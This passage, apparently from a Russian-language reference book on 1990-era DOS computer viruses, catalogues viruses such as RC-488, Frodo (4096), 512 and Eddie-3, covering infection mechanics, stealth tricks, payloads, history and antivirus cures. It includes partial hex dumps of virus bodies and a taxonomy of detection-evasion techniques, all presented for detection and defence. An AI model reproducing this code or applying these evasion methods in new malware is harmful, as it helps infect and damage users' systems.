ли). Из-за ошибки в теле вируса файлы с длиной, кратной 16, зара-
жаются с вставкой 16 нулей для выравнивания. Дата создания файла
изменяется на дату заражения до тех пор, пока количество запусков
с момента заражения не станет равным 256. Длина исходной программы
вирусом не сохраняется. Атрибуты файла не проверяются, поэтому ви-
рус не заражает файлы с атрибутами READ-ONLY. Вирус RC-492 не про-
веряет, находится заражаемая программа (которая загружается на вы-
полнение) на защищенной дискете или нет, и пытается выполнить за-
пись на защищенную от записи дискету. При этом операционная систе-
ма выдает сообщение:
Write protect error writing device <лог.имя.устр.>
Abort, Retry, Ignore, Fail?
Вирус использует гибридную стратегию заражения, в которой
сочетаются методы, характерные для нерезидентного вируса с
методами, характерными для резидентного вируса. Как уже отмеча-
лось, получив управление, вирус сначала пытается заразить файл
COMMAND.COM в корневом каталоге -- стратегия, характерная в основ-
ном для нерезидентных вирусов. Вместе с тем, став резидентным, ви-
рус перехватывает прерывание 1С и 21 и заражает программы, запу-
скаемые на выполнение.
Отличительной особенностью данного вируса является то, что в
оперативной памяти его тело располагается в области второй полови-
ны векторов прерываний (0000:200h -- 0000:03FFh). Это может приво-
дить к зависанию компьютера при инсталляции вируса, если к этому
моменту одна из резидентных программ использует какой-нибудь из
затираемых векторов прерываний.
При запуске зараженной программы RС-492 сначала проверяет с по-
мощью прерывания 21-35, имеется ли уже резидентная копия данного
вируса (по значению адреса обработчика прерывания 1С). Если усло-
вие зараженности оперативной памяти выполнено, то вирус передает
управление зараженной программе, в противном случае он приступает
к поиску и заражению COMMAND.COM в главном каталоге диска С. Затем
вирус становится резидентным и перехватывает прерывания 1Ch и 21h.
В результате при запуске любой программы вирус получает управле-
ние, проверяет, является ли запускаемая программа зараженной, и
если нет, то заражает данную программу на диске. У зараженного
файла изменены значения первых 6 байтов (организуется переход на
начало тела и признак зараженности файла).
Фаза проявления данного вируса в настоящее время еще не ясна.
Есть основания считать, что прерывание 1Ch используется вирусом
для выбора момента уничтожения информации в выбираемых случайным
образом последовательных секторах диска С (похоже, записывается
четное число секторов -- 2,4,6). В указанные сектора записывается
информация из оперативной памяти компьютера. По мнению Д.Н.Лозин-
ского, есть надежда, что данный фрагмент содержит ошибку и такой
момент никогда не наступает. Код вируса RC-492 не содержит при-
емов, затрудняющих дизассемблирование и анализ программы.
Исторические замечания. Данный вирус появился в СССР в июле 1990
г. Впервые был выделен автором в ВЦ АН СССР (Moсква) 19 июля 1990
г. и, независимо, Д.Н.Лозинским. B Киеве не отмечался. Первыми
фагами для данного вируса были -V (Е. Касперского) и NEATFAG (В.
Пономарентко).
Неформальные названия. sI (строка sI расположена со смещением
3 от начала зараженной программы)
Программные средства защиты. Доступные версии полидетектора
SCAN (до 66, включительно) данный вирус не обнаруживают. Фаги см.
прил.1. При использовании системы управления доступом к винчестеру
(Disk Manager, Advanced Disk Manager и т.д.) вирус не в состоянии
попасть в разделы винчестера, для которых установлен статус READ
ONLY. Однако при этом становится невозможным вызов программ с за-
щищенной дискеты или раздела винчестера. Специальные средства за-
щиты от данного вируса принципиально могут включать детектор, фаг
для резидентной части, резидентный и пакетный фаги для зараженных
файлов и активную (резидентную) вакцину.
Фрагмент дампа программы DUMY16.COM,
зараженной вирусом RC-492
000: E91D007349FF9090 90909090909090C3 ...sI...........
010: 0000000000000000 0000000000000000 ................
020: 2E8B1E010183C303 B104D3EB8CD803C3 ................
030: 8ED82EA1B001A38C 02BE6F01BF0001FC ..........o.....
040: B90600F3A4B81C35 CD2181FB45027508 .......5.!..E.u.
050: 0E0E1F07680001C3 B810008EC0B90002 ....h...........
060: BF00018BF7F3A406 1EBA7501E835001F ..........u..5..
070: B81C25BA4502CD21 B82135CD21891E8E ..%.E..!.!5.!...
080: 028C069002BA9202 B82125CD21EBC190 .........!%.!...
090: 9090909090433A5C 434F4D4D414E442E .....C:\COMMAND.
0A0: 434F4D00B43DB002 CD215B1F537303E9 COM..=...![.Ss..
0B0: 91008BD8B43FB906 00BA6F01CD21727F .....?....o..!r.
0C0: 813E720173497455 813E6F014D5A746F .>r.sItU.>o.MZto
0D0: B80242B90000BA00 00CD2172628BC883 ..B.......!rb...
0E0: C90F83E902890E25 0283C1032BC8BA2A .......%....+..*
0F0: 02B440CD217248B4 40B9EC01BA0001CD ..@.!rH.@.......
100: 21CC3CB80042B900 00BA0000CD21722F !.<..B.......!r/
... .. .. .. .. .. .. .. .. .. .. .. ..
1E0: 040083EF018BF7BF 8301ACE86CFFAE74 ............l..t
1F0: 03EB0B90E2F41F5A 521E0EE8A6FE1F5A .......ZR......Z
200: 075D5F5E595B582E FF2E8E02 .]_^Y[X.....
5.6.2. Вирус RC-488
(Flu-2 -- Грипп-2, LoveChild -- Внебрачный ребенок)
Неформальное название данного вируса связано с тем, что в теле
вируса имеются текстовые строки v2 (c) Flu Systems (R) и
LoveChild in reward for software sealing. Формально RC-488 явля-
ется файловым резидентным вирусом, заражающим COM-файлы. Длина ви-
руса 488 (1E8h) байтов совпадает с приращением при заражении. Фай-
лы заражаются однократно. Командный процессор заражается как обыч-
ный COM-файл.
При заражении COM-файлов вирус дописывает себя в конец, изменяя
первые четыре байта. Файлы заражаются при их загрузке в память,
при открытии и создании (21-3C, 21-3D, 21-4B и 21-5B). При зараже-
нии длина файлов не проверяется.
При инсталляции записывает свое тело во вторую половину таблицы
векторов прерываний, начиная с адреса 0000:01E0h. Проверяет версию
операционной cистемы. Для версии 3.3 умеет определять истинные
адреса 21 и 13 прерываний. Для получения управления по 21 прерыва-
нию использует сплайсинг. Обработка 13 прерывания сводится к заме-
не адреса его обработчика на первоначальное значение, что отруба-
ет сторожа, следящие за этим прерыванием, как, впрочем, и драйве-
ры типа 800, обеспечивающие нестандартные форматы записи на диске-
ты.
Фаза проявления наступает при определенных значениях счетчика
времени. При этом вирус либо уничтожает файлы, либо создает вместо
файла подкаталог с таким же именем. Кроме того, вирус может моди-
фицировать COM-файлы таким образом, что их запуск вызовет стирание
секторов винчестера (стирается вся информация, расположенная на
всех секторах, соответствующих 0-3 головкам записи/чтения).
Исторические замечания. Судя по текстовым строкам, RC-488 имеет
зарубежное происхождение, однако в доступной автору версии списка
П.Хоффман, датированном 10.10.90, описание этого вируса отсутству-
ет. В СССР появился примерно в августе 1990 г. Автору был пере-
дан Е.Касперским. B Киеве не отмечался.
Неформальные названия. Помимо приведенных выше, неизвестны.
Программные средства защиты. Полифаг Aidstest, начиная с версии
45. Детектирование возможно по сигнатурам, приведенным в прил.1.
Фрагмент дампа дрозофилы, зараженной вирусом RC-488
000: FBE9F200B402B207 CD21CD2000000000 .........!. ....
010: 0000000000000000 0000000000000000 ................
*** далее следуют строки, идентичные предыдущей ***
0E0: 7632202863292046 6C75205379737465 v2 (c) Flu Syste
0F0: 6D732028522933C0 8EC0E800005E8BEE ms (R)3......^..
100: BFE001FC26813D76 32744881EE1D00B9 ....&.=v2tH.....
110: E801F3A4B430CD21 3D031E7527BE7000 .....0.!=..u'.p.
120: 8EDEBEB400BF4C00 A5A5B80312CD2F26 ......L......./&
130: 8C1EC803BE6014C6 04EA8C4403C74401 .....`.....D..D.
140: CD02EB0F061FBE84 00A5A58C44FEC744 ............D..D
150: FCCD028CC88EC08E D8BF00018BF581C6 ................
160: 6E00A5A533C083EF 04FFE790909090FB n...3...........
170: E90000B003CFB901 00BA80038BD9B810 ................
180: 03CD13FECE79F7B6 03FEC5EBF14C6F76 .....y.......Lov
190: 654368696C642069 6E20726577617264 eChild in reward
1A0: 20666F7220736F66 7477617265207365 for software se
1B0: 616C696E672E2EF6 066C0407750A1F5A aling....l..u..Z
1C0: 595B58B441E9FD00 E9EE0088132EFF0E Y[X.A...........
1D0: CB027803E9EE002E FF06CB0280FC4075 ..x...........@u
1E0: 24578BFA813D4D5A 751A2EF6066C0406 $W...=MZu....l..
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
2B0: B440CD215BB43ECD 212EC706CB02FFFF .@.![.>.!.......
2C0: 1F5A595B58EA6714 0000 .ZY[X.g...
5.7. Группа стелс-вирусов
ВВС США впервые использовали в боевых
условиях свой секретный истребитель-
бомбардировщик F-117A Стелс. Новый
самолет, невидимый для радаров,
участвовал в бомбардировке в Панаме
перед высадкой там в среду американ-
ских войск.
ТАСС, 24 декабря 1989 г.
Как и другие продукты человеческой деятельности, компьютерные
вирусы претерпевают определенную эволюцию, которая в значительной
степени облегчается тем, что в течении значительного отрезка вре-
мени среда их размножения (MS DOS) остается практически неизмен-
ной. Если попытаться квантовать наблюдаемые непрерывные эволюцион-
ные изменения, то можно говорить о поколениях компьютерных виру-
сов.
Понятие поколения компьютерного вируса связано, в основном, с
механизмом размножения и методами маскировки. Наблюдаемый cейчас в
ряде публикаций акцент на проявлениях того или иного вируса явля-
ется неверным: по сути вирус можно разделить на две достаточно не-
зависимые части: компоненту размножения и компоненту проявления.
При этом именно характеристики компоненты размножения являются ос-
новными и определяют место конкретного вируса в эволюционной це-
почке. В то же время популярная пресса акцентирует внимание на
компоненте проявления, что видно хотя бы из распространенности не-
формальных названий типа Тринадцатая пятница, День Колумба, Воск-
ресенье, Пинг-Понг и т.д. Если провести аналогию с авиацией, то
компонента размножения соответствует самому летательному аппарату,
а компонента проявления -- полезной нагрузке. Очевидно, что один и
тот же самолет может доставлять и бомбы и листовки.
Компонента размножения должна обеспечить две основные функции:
получить управление с тем, чтобы обеспечить репликацию вируса; из-
бежать обнаружения, чтобы выжить и выполнить предыдущий пункт.
Важность этих двух функций изменяется в ходе эволюции. На первом
этапе эволюции вирусов основной является репликация. При этом воп-
росам маскировки либо вообще не уделялось внимание, либо они носи-
ли несистематический характер и были направлены на маскировку од-
ного или двух изменений, возникающих в зараженной программе или
системе. Этому этапу эволюции соответствует первое поколение виру-
сов -- вирусы, не рассчитанные на преодоление антивирусных средств.
С распространением антивирусных средств вопросы маскировки стали
основными, и вирусу для того, чтобы выжить, важно как можно дольше
остаться незамеченным. В связи с этим основные усилия при разра-
ботке стали направляться именно на маскировку. В результате маски-
ровка приобрела комплексный характер и соответствующие вирусы мож-
но условно относить к новому поколению вирусов, получившему назва-
ние стелс-вирусов. Действия по маскировке можно условно классифи-
цировать на следующие категории: a (automodification) -- автомоди-
фикация инсталлятора с целью затруднить обнаружение детекторами,
основанными на контекстном поиске; с (cipher) -- шифровка части
программы, исключая часть инсталлятора; d (antiDebugging
tricks) -- защита от трассировки; e (enter point) -- сохранение
точки входа в EXE-программах; f (fag) -- самоизлечивается при по-
пытке просмотра зараженной программы при резидентном вирусе;
h (hook) -- не обнаруживается сторожами типа FluShot+, контролирую-
щими состояние векторов прерывания; i (increment) -- имплантация
тела в программу без увеличения размеров файла; j (jump) -- cохра-
нение первого перехода в COM-файлах; l (length) -- маскировка уве-
личения длины зараженных файлов, путем подмены значения соответст-
вующего поля элемента оглавления при операциях FindFirst и
FindNext (21-11h и 21-12h) с предварительным вычитанием длины ви-
руса (при этом утилиты, которые не используют указанные функции
DOS, работая с каталогами непосредственно (например Norton
Commander), будут показывать увеличенную длину, а команда DIR --
уменьшенную); m (memory map) -- не обнаруживается системными сред-
ствами просмотра списка резидентных программ; о (overlay) -- сег-
ментация тела вируса на несколько подгружаемых частей; р
(polyinfection) -- заражение как файлов, так и исполняемых систем-
ных блоков (бутсектор, MBR); r (redirection) -- перехват и модифи-
кация дисковых операций с целью скрыть изменения в исполняемых
блоках (бутсектор, MBR); s (space) -- корректировка резидентным ви-
русом общего объема свободной памяти на диске с целью скрыть его
изменение в результате заражения вирусом программ; t (text) -- шиф-
ровка текстовых сообщений.
Здесь приведены только приемы, которые уже были использованы в
том или ином существующем вирусе, однако могут существовать и дру-
гие эффективные приемы маскировки. Конечно, граница между указан-
ными двумя поколениями условна и некоторые исследователи относят к
стелс-вирусам любой вирус, который использует хотя бы два из при-
веденных выше методов маскировки. Автору кажется, что критерий
должен быть несколько жестче. Ниже приведены описания двух виру-
сов, которые, по мнению автора, можно отнести к новому поколению.
5.7.1. RCE-04096 (Frodo -- Фродо, 4096)
Данный вирус принято считать первым стелс-вирусом. RCE-04096 был
разработан, по-видимому, в Израиле в конце 1989 г. Название Фро-
до связано с тем, что вирус содержит бутсектор в своем коде, хотя
он никогда не записывает свое тело в бутсектор. При записи этого
бутсектора в бутсектор дискеты и попытке загрузки выдается пла-
катный текст
FRODO
LIVES
(Фродо живет или Фродо жив), выполненный буквами 8*5,
состоящими из символов псевдографики. По данным П.Хоффман, 22 сен-
тября это день рождения героев известной сказочной трилогии
Дж.Р.Толкиена Властелин колец (Lord Of The Rings) -- Бильбо и
Фродо Баггинов (Bilbo and Frodo Baggin) [Толкиен83].
Формально данный вирус относится к файловым резидентным вирусам.
Заражает как COM-, так и EXE-файлы (включая оверлеи) при запуске
на выполнение или закрытии файла (функции 21-4B или 21-3E). Файлы
заражаются однократно. В качестве признака заражения используется
значение поля года даты создания файла. Для зараженных файлов ви-
рус изменяет поле года создания файла, увеличивая его на сто, на-
пример с 1990 до 2090. В дальнейшем это значение используется для
определения зараженности файла. Возможно заражение файлов, содер-
жащих данные. Приращение длины при заражении всегда равно 4096
байт, что объясняет такие неформальные названия, как 4096 и 4K.
Заражает COM-файлы длиной до 61440 (F000h) байт. При заражении
изменяет первые шесть байт файла. Выполняется выравнивание до па-
раграфа. При этом приращение длины файла равно ровно 4096 байт.
Командный процессор заражается как обычный COM-файл.
Заражаемые EXE-файлы могут иметь любую длину. При заражении из-
меняется заголовок. Тело вируса дописывается в хвост файла. Длина
зараженного EXE-файла увеличивается ровно на 4096 байт.
При инсталляции находит по COMSPEC и заражает COMMAND.COM. Затем
загружает себя в старшие адреса памяти, уменьшая размер на 6К. При
этом, возможно, каким-то образом маскирует уменьшение системной
памяти на 6К. Для определения положения обработчиков 13 и 21 пре-
рываний вирус проходит при инсталляции соответствующую часть кода
с флагом трассировки (как музыкальные самоеды). Для получения уп-
равления по 21 прерыванию вирус использует сплайсинг (врезку в
обработчик прерывания). Это первый вирус, использующий сплайсинг
для получения управления по прерыванию 21.
Тело вируса располагается в оперативной памяти в старших адре-
сах. Память резервируется путем манипуляций с MCB. В дальнейшем
положение тела может измениться: вирус способен перемещать свое
тело в область младших адресов. RCE-04096 обрабатывает порядка 20
(двадцати !) функций MS DOS (Create, FindFirst, FindNext, Read,
Write, Lseek, Open, Close, Exec и некоторые другие).
При наличии вируса в оперативной памяти приращение длины зара-
женных файлов маскируется и не видно при просмотре оглавления ко-
мандой DIR. Этот эффект обеспечен за счет перехвата операций, ис-
пользуемых командой DIR для считывания элементов каталога и вычи-
тания 4К из длины зараженных файлов. Первым такой метод маскировки
был использован в вирусе RCE-02000. Более того RCE-04096 маскиру-
ет и изменение заголовка.
Любая попытка доступа к зараженному файлу, за исключением выпол-
нения на зараженной машине ведет к выкусыванию тела вируса из
зараженного файла. Например, при чтении зараженного файла или за-
грузке его в память, вирус подставляет файл в незараженном виде.
При открытии файла для записи вирус выкусывает свое тело из за-
раженного файла (поскольку запись в файл может повредить тело ви-
руса или загнать его в середину файла), а затем снова заражает
при закрытии.
Описанный механизм обеспечивает обход детектирования заражения с
помощью ревизоров. Таким образом, данный вирус является первым ви-
русом, обходящим данный класс антивирусных программ. Если при ко-
пировании выполняемого файла создается файл с расширением, не ис-
пользуемым для исполняемых файлов (COM, EXE, BIN, SYS и т.д.), то
вирус выкусывает свое тело при копировании.
При кодировании вируса использованы достаточно сложные приемы,
затрудняющие трассировку. Из-за ошибки при кодировании вирус по-
вреждает некоторые файлы при заражении: после заражения не обнов-
ляет информацию в заголовке файла. При запуске таких файлов MS DOS
выдает диагностическое сообщение ERROR in EXE File. Такие по-
вреждения можно устранить запустив CHKDSK/F, а затем соответствую-
щий фаг. Как уже отмечалось, вирус иногда заражает файлы данных.
Они могут быть восстановлены с помощью соответствующего фага.
Фаза проявления в имеющихся экземплярах вируса стерта в связи с
недостаточным размером памяти, отведенным под стек. Учитывая нали-
чие в теле вируса загрузчика, выдающего сообщение Фродо жив, ло-
гично предположить, что она связана с записью в бутсектор этого
загрузчика. В результате первая же перезагрузка приведет к выдаче
на экран приведенного выше сообщения. Однако реально после 22 сен-
тября 1990 запуск любой зараженной программы вызывает зависание
операционной системы (вирус зацикливается), создавая впечатление
машинной неисправности. По данным П.Хоффман вирус также медленно
сращивает файлы на диске. Для этой цели вирус манипулирует FAT,
изменяя количество свободных секторов. Пользователь, использующий
команду CHKDSK/F, обнаруживает, что файлы имеют потерянные класте-
ры или кластеры, принадлежащие двум файлам одновременно. Это про-
явление выглядит как машинная неисправность.
Все авторы публикаций, включающих описание данного вируса, схо-
дятся в том, что вирус написан техно-крысой, хорошо знающей внут-
ренности операционной системы и алгоритмы работы антивирусных
программ. Странно, что программист такого уровня не нашел ничего
лучшего для приложения собственных способностей, как написание ви-
руса.
Исторические замечания. Вирус RCE-4096 был обнаружен в Израиле в
октябре 1989 г. В СССР обнаружен Д.Н.Лозинским в августе 1990 г.
Существует штамм 4096-B, аналогичный описанному, но использующий
шифровку своего тела.
Неформальные названия. Среди неформальных названий следует
отметить следующие: 4096, 4K, 100 Years virus ( 100 лет), Century
virus (столетие), Hiding (Прячущийся), IDF Virus (ИДФ-вирус),
Stealth Virus (Стелс вирус).
Методы и программные средства защиты. Данный вирус диагностиру-
ется полидетектором SCAN. Для визуального обнаружения можно ис-
пользовать год создания файла (у зараженных файлов увеличен на
100). Для этой цели можно просмотреть оглавление с помощью Turbo
C++ (единственная известная автору оболочка, показывающая год
создания файла полностью) или дамп кластеров с каталогами с по-
мощью Norton Utilities (в DIR и в Norton Commander видны только
две последние цифры года). Рекомендуемые фаги приведены в прил.1.
При отсутствии фага для выкусывания можно использовать упоминав-
шийся эффект, связанный с тем, что при копировании выполняемого
файла в файл с расширением, отличным от исполняемых (COM, EXE,
BIN, SYS и т.д.) резидентный вирус выполняет выкусывание своего
тела из файла. Для этой цели при резидентном вирусе можно свернуть
зараженные файлы в архив, а затем после перезагрузки с защищенной
дискеты, содержащей эталонную операционную систему, скопировать их
обратно. Другим вариантом является копирование с переименованием
расширения, например EXE в TTT, а COM в YYY.
Неясно, является ли увеличение года достаточным признаком зара-
женности файла, или вирус проверяет еще какие-то поля. Если этот
признак достаточен, то возможна пассивная вакцинация файлов путем
увеличения значения года создания на 100, как это делалось с се-
кундами создания файла при вакцинации от вируса C-648. Кроме того,
возможно создание резидентной вакцины, обеспечивающей увеличение
значения поля года при считывании элемента каталога.
5.7.2. Вирус RC-0-512 (512, 666)
Данный вирус имеет размер, совпадающий с типичным размером сек-
тора в MS DOS и использует специальный метод размножения, напоми-
нающий метод размножения бутовых вирусов. Вирус содержит текстовую
строку 666 в конце тела, поэтому его иногда называют 666. В коде
вируса используется ряд недокументированных функций MS DOS. Фор-
мально RC-0-512 представляет первый сегментированный резидентный
файловый вирус. В нем используется несовершенство распределения
дисковой памяти в MS DOS: размер кластера обычно превышает размер
сектора как минимум в два раза и поэтому можно использовать неза-
полненные хвосты в последнем секторе для хранения части тела ви-
руса (модификация первых команд остается обязательной, иначе вирус
не сможет получить управления). Фактически эту схему можно рас-
сматривать как попытку перенесения схемы бутового вируса на файло-
вый вирус. Как известно, бутовый вирус, в отличие от файлового,
сегментирован и состоит из головы и хвоста. Голова находится в
бутсекторе, а хвост храниться где-то в другом месте и его загрузка
выполняется головой. Аналогично вирус RC-0-512 рассматривает пер-
вый сектор COM-файла как бутсектор и заменяет его своим телом, а
хвост, представляющий собой оригинальный первый сектор зараженной
программы, прячет в неиспользуемый сектор последнего кластера.
Очевидно, что вирус может заражать на дискете только те файлы, у
которых второй сектор последнего кластера полностью свободен. На
винчестере возможно заражение большинства COM-файлов, так как раз-
мер кластера значительно больше и один свободный сектор имеется
практически всегда.
При заражении RC-0-512 записывает себя в первый сектор заражае-
мого COM-файла, предварительно переписав оригинальный первый
сектор в один из незаполненных секторов последнего кластера, зани-
маемого файлов, если таковой имеется. Отсюда следует, что заражен-
ные файлы, скопированные с помощью команды COPY MS DOS (а она ко-
пирует файл побайтово в соответствии с указанной в элементе
каталога длиной), будут неработоспособны, а находящийся в них ви-
рус -- работоспособным.
Подобно специфическому механизму заражения, вирус использует не-
обычный механизм инсталляции в оперативной памяти: для хранения
собственного тела вирус откусывает первый буфер буферного пула
MS DOS, переставляя указатель на первый буфер так, чтобы он указы-
вал на второй буфер. Таким образом, определить его наличие в памя-
ти без полного сканирования оперативной памяти можно только, если
знаешь где искать. Этот факт свидетельствует о том, что оптимиза-
ция просмотра оперативной памяти в контекстных детекторах и поли-
фагах является неверным шагом и может ухудшить качество
детектирования.
Как и в других вирусах группы DARK AVENGER, заражение происходит
как при открытии, так и при выполнении файла. Заражаются файлы,
первые две буквы расширения которых CO. При копировании заража-
ются как копия, так и оригинал.
Вирус заражает COMMAND.COM. Поскольку при перезагрузке системы
командный процессор загружается в память до появления в ней рези-
дентного вируса, то вирус инсталлируется, а затем подгружает недо-
стающую часть командного процессора из свободного сектора послед-
него кластера.
Исторические замечания. Вирус RC-0-512, по-видимому, разработан
в Болгарии техно-крысой, называющей себя Dark Avenger. Он был об-
наружен студентом-программистом Василем Никодимовым в ноябре 1989
г. в Институте математики (София). Сведения о нем опубликованы в
статье В.Бончева в номере 1-2 за 1990 журнала Компютър за вас. В
СССР обнаружен практически одновременно в Москве и Киеве в начале
сентября 1990 г.
Методы и программные средства защиты. Данный вирус диагностиру-
ется полидетектором SCAN и любым контекстным детектором, содержа-
щим соответствующую сигнатуру. Возможность создания резидентной
вакцины неясна. Рекомендуемые полифаги приведены в прил.1. В связи
с используемым механизмом заражения, при его создании возникает
проблема с определением, хранится ли в соответствующем секторе по-
следнего кластера оригинальная голова COM-файла (первые 512 байтов
программы) или файл был скопирован и там теперь просто мусор. В
последнем случае восстановление приведет к записи мусора на место
тела вируса. Неясно также, что произойдет при оптимизации диска,
содержащего зараженные файлы, с помощью утилиты NCC, СОМPRESS и
т.д.
5.8. Вирус RC-394 (Attention -- Внимание)
Неформальное название данного вируса связано с тем, что в начале
любой зараженной данным вирусом программы после 3-байтовой команды
перехода на тело вируса расположена 12-байтовая текстовая строка
Attention !. После этой строки стоит байт 1Ah. Формально RC-394
является файловым резидентным вирусом заражающим COM-файлы при за-
пуске их на выполнение (прерывание 21-4B). Длина вируса (394 бай-
та) совпадает с приращением зараженных файлов. Это один из самых
маленьких резидентных вирусов, из располагающих свое тело в стар-
ших адресах оперативной памяти.
Вирус заражает COM-файлы длиной от 786 (312h) до 64921 (FD99h)
байт. При заражении тело вируса дописывается в конец файла и изме-
няет первые 16 байт, как было указано выше. Если заражаемый файл
был защищен атрибутом READ-ONLY, то перед заражением вирус снимает
этот атрибут и не восстанавливает его после заражения.
При инсталляции записывает свое тело в старшие адреса оператив-
ной памяти. Перехватывает прерывания 21 и 24. Последнее прерывание
перехватывается не совсем корректно, что может приводить к зависа-
нию системы. Характерным проявлением вируса является включение мо-
тора дисковода А, при попытке заражения файлов на защищенной дис-
кете, вставленной в дисковод B.
Исторические замечания. Вирус, по-видимому, разработан на Запа-
де. В СССР обнаружен Д.Н.Лозинским в августе 1990 г.
Методы и программные средства защиты. Рекомендуемые фаги
приведены в прил.1. Детектирование возможно по приведенным в
прил.1 сигнатурам.
Фрагмент дампа дрозофилы, зараженной вирусом RC-394
0000: E90E10415454454E 54494F4E2020211A ...ATTENTION !.
0000: 9090909090909090 9090909090909090 ................
*** последующие строки идентичны предыдущей ***
1000: 00CD209090909090 9090909090909090 .. .............
1010: 90E8F9002000C514 C01D9C50535152BB .... ......PSQR.
1020: 030031C9E2FEB00C BAF203EE31C9E2FE ..1.........1...
1030: BAF203B01CEE4B75 E95A595B589DB003 ......Ku.ZY[X...
1040: CF5053515257561E 0680FC4B740D071F .PSQRWV....Kt...
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
10F0: 58050D00A3010052 31C931D2B80042CD X......R1.1...B.
1100: 2159B440CD21B43E CD21E941FFFA5A81 !Y.@.!.>.!.A..Z.
1110: EA1300BB7901A102 005031C9518ED99D ....y....P1.Q...
1120: 39061504750253CB 581E0E1F1EC7C11A 9...u.S.X.......
1130: 0029C8A30200508C C929C8498ED9A303 .)....P..).I....
1140: 00581F8EC08BF231 FFC7C18901F3A4BE .X.....1........
1150: 00018BF9B91000F3 A41F0653BB84008B ...........S....
1160: 07C707400026A315 008B47028C470226 ...@.&....G..G.&
1170: A317008C0615040E 07CBB910008BF2BF ................
1180: 0001061F1E57F3A4 FBCB .....W....
6. ФАЙЛОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ
6.1. Общие замечания
Многие из упоминаемых в зарубежной литературе файловых вирусов
пока в СССР выделены не были. В прил.3 приводятся собранные
автором сведения о таких вирусах, а последующих подразделах
сведения о наиболее важных их этих вирусов, опубликованные в
литературе. Большинство из этих вирусов диагностируется
полидетектором SCAN.
К сожалению, в условиях характерной для СССР информационной
изоляции доступа к оперативной информации по вирусам,
распространяющейся по таким сетям как BITNET, автор не имеет,
поэтому приводимые сведения неполны, а в ряде случаев и неточны.
Наиболее полной на сегодняшний день информацией, доступной автору,
является созданный Патрицией М. Хоффман (Patricia M.Hoffman) файл
VIRUS INFORMATION SUMMARY (версия от 10.08.90). Этот файл
опубликован в СП 2-8. Другими источниками является документация к
полидетекторам SCAN СП 2-7 и TNTVIRUS СП 2-8. Следует отметить,
что качество подготовки документации к программе SCAN, как,
впрочем и самой программы, вряд ли может быть оценено выше, чем
удовлетворительное: в ней приводятся ряд неверных сведений об
известных автору вирусах. Документация к TNTVIRUS более подробна,
однако сравнение со списком П.Хоффман свидетельствует о наличии
определенной связи между этими двумя документами, хотя ссылка на
П.Хоффман в документации отсутствует.
6.2. Новые стелс-вирусы
Последнее время наблюдается появление новых вирусов, при
разработке которых приняты изощренные меры по маскировке своего
присутствия на зараженной машине. Описываемые ниже вирусы основаны
на RCE-04096 и, возможно, принадлежат тому же автору.
6.2.1. Вирус RCE-03584 (Fish у Рыба)
Неформальное название данного вируса связано с тем, что иногда в
теле зараженных программ встречается строка FISH FI. Кроме того,
проматривая оперативную память при резидентном вирусе можно
обнаружить имена некоторых рыб. Формально вирус представляет собой
резидентный файловый вирус, заражающий как COM-, так и EXE-файлы.
Вирус заражает COMMAND.COM. Подобно некоторым бутовым вирусам RCE-
03584 переживает теплую перезагрузку, перехватывая комбинацию
нажатий Ctrl-Alt-Del.
При выполнении зараженной программы, вирус проверяет свое
наличие в памяти и, если отсутствует, то инсталлируется в младших
адресах оперативной памяти. При этом, если прерывание 13 не
перехвачено другой программой, то вирус перехватывает это
прерывание и резервирует 8192 байта. Если прерывание 13 уже
перехвачено, то вирус резервирует только 4096 байт памяти и черех
некоторый, случайный интервал времени инициирует теплую
перезагрузку в процессе которой заражает COMMAND.COM и
перехватывает 13 прерывание.
Будучи резидентным, вирус заражает все открываемые COM- и EXE-
файлы. При этом длина зараженных файлов увеличивается на 3584
байта, однако это увеличение при резидентном вирусе маскируется.
При запуске программы CHKDSK на зараженной машине диагностируются
ошибки в распределении файлов. Если при этом CHKDSK запущена с
ключем /F, то попытки исправления ведут к потере кластеров и
сращиванию файлов.
Проявление вируса связано с тем, что он замедляет запись в
видеопамять и на инфицированных машинах заметно мерцание экрана
дисплея. Другие проявления вируса неизвестны, хотя вирус проверяет
равен ли текущий год 1991. Подобно вирусу RCE-04096 данный вирус
не обнаруживается ревизорами, запущенными на зараженной системе.
Вирус также обходит сторожа, следящие операциями записи на диск.
Кроме того, вирус постоянно перекодирует себя в оперативной
памяти.
Исторические замечания. Данный вирус является существенно
переработанной модификацией вирус RCE-04096 и был выделен в мае
1990 г. К моменту выделения он был достаточно распространен в
Западной Европе. Предполагается, что он был разработан в Западной
Германии. В СССР не выделен. Приводимые сведения базируются, в
основном, на списке П.Хоффман.
Методы и программные средства защиты. Вирус детектируется
полидетектором SCAN, начиная с версии 66 (см. СП 2-7).
6.2.2. Вирус Mother Fish (Whale)
Данный вирус является наиболее сложным и изощренным из известных
стелс-вирусов. Размер кода достигает 9К. Это приблизительно 6 тыс
строк исходного текста, т.е. от нескольких месяцев до года упорной
работы. Вирус написан программистом, знакомым с непосредственным
программированием входящих в состав IBM/PC контроллеров, в
частности контролллера прерываний 8259 и контроллера 8255,
управляющего периферийными устройствами. Вирус зашифрован и имеет
самомодифицирующийся инсталлятор. Это делает детектирование
достаточно сложной задачей, хотя Scan вроде бы успешно с ней
справляется.
Исторические замечания. Данный вирус, по-видимому, является
развитием предыдущего. Обнаружен примерно в июле-августе 1990 г. в
Западной Европе, а также в Болгарии. В СССР не выделен. Приводимые
сведения базируются, в основном, на материалах Virus forum FIDO
NET.
Методы и программные средства защиты. Вирус детектируется
полидетектором SCAN, начиная с версий, датированных августом 1990
г.
6.3. Болгарская серия
Как уже указывалось, Болгария пока является сновным поставщиком
файловых вирусов для СССР. Поэтому сведения о появишихся там
файловых вирусах представляют особый интерес.
6.3.1. Новые вирусы группы Dark Avenger
6.3.1.1. Вирус RCE-0651 (Eddie-3 - Эдди-3)
Вирус уменьшает системную память на 688 байтов. Уменьшение
системной памяти маскируется. Заражаются программы длиной более
651 байтов. Заражение происходит при запуске файлов на выполнение.
Увеличение длины маскируется при резидентном вирусе.
Инфицированные файлы содержат строку Eddie Lives. в конце
инфицированного файла. Побочным эффектом вируса является появление
потерянных кластеров при проверке целостности файловой системы
командой CHKDSK /F
Неформальные названия. Eddie 3, Stealth Virus.
Исторические замечания. Вирус был обнаружен в Болгарии в апреле
1990. На Запад передан В.Бончевым. Приведенные сведения основаны
на описании П.Хоффман. По-видимому разработан в Софии техно-крысой
называющей себя Dark Avenger.
Методы и программные средства защиты. Вирус детектируется
полидетектором SCAN, начиная с версии 66.
